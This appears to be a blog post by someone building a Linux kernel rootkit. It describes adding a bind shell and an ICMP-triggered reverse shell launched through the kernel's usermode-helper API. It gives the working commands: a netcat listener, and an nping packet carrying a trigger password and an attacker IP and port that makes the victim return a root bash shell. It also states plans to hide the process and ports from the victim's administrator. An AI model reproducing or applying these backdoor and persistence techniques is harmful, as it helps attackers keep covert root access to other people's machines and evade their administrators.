In order to make our rootkit more useful and more malicious, I have looked into ways of gaining remote access. This allows our attacker to maintain hidden persistent access to the victim machine. Maintaining access to a compromised machine can be tricky as there are lots of ways of doing so but most can be very easily spotted. The two methods I investigated involved using a simple bind shell and then a more neat reverse shell. For this simple demonstration I installed and use various Nmap 6 tools.
My implementation of this, simply bound a /bin/bash shell to a port. This isn’t a very hidden way of doing things and our victim admin could easily view this process running using netstat. I will look into hiding processes and open ports at a later point.
For my reverse shell, I monitor all icmp packets for a certain password or key. If this key is found, I send a /bin/bash shell to an attacker defined IP and port. This means our sniffer runs in the background and we can hide the process by renaming it. I will also investigate a means of hiding this process completely.
Gaining access to the user space from kernel
The hardest part of implementing this remote shell functionality, was finding a reliable way of running our user space shell from within the kernel. I came across many implementations and ideas in my search. Some involved copying attacker shellcode into memory and then setting it as executable, others were more messy and less reliable. I came across the following API that makes this task very simple, the usermode-helper API. This allows us to easily invoke a user space application from the kernel space.
At the bottom I will provide a simple kernel module that allows me to demonstrate this functionality. I will then integrate this into the next iteration of the rootkit.
Firstly I needed to implement my reverse shell. This involved investigating the internet control message protocol (icmp). This protocol is generally used to relay messages about network devices and can be used to diagnose network issues or for other control purposes.
On our victim machine I ran the following
tcpdump ip proto \\icmp -X -v
This will display lots of information about any icmp request received or sent by a machine. On our attacker machine I then simply ran
This pings the victim machine and we can see the raw packet data as it arrives in our tcp dump.
Next using a tool called nping I crafted a simple demonstration “Hello World” icmp request. We can then see this message in the data section of our tcpdump. The following request sends a single crafted ping to the defined destination ip address.
nping --icmp -c 1 -dest-ip [victim ip] --data-string 'Hello world'
Using this knowledge I wrote some simple C to listen for icmp requests and read this data section. As we don’t want every icmp request opening or sending a shell, I check the first token in the data string for a password or key. Then when this matches I check for a provided attacker ip and port. I then send a reverse shell to this attacker address on the port provided.
Our attacker in one window opens a listening port using the following netcat command
nc -l 31173
This listener is where we will send the reverse shell from the victim machine. The attacker machine is now listening on port 31173.
Assuming the kernel module is installed on the victim machine and we are using a password of maK_it_$H3LL, we then run the following nping command.
nping --icmp -c 1 -dest-ip [victim ip] --data-string 'maK_it_$H3LL [attacker ip] 31173'
Then in our window with netcat running, we should see the following
root@server1:~# nc -l 31173 maK_it /bin/bash shell..
You can find all of this code available at the following link : reverse-shell-access-kernel-module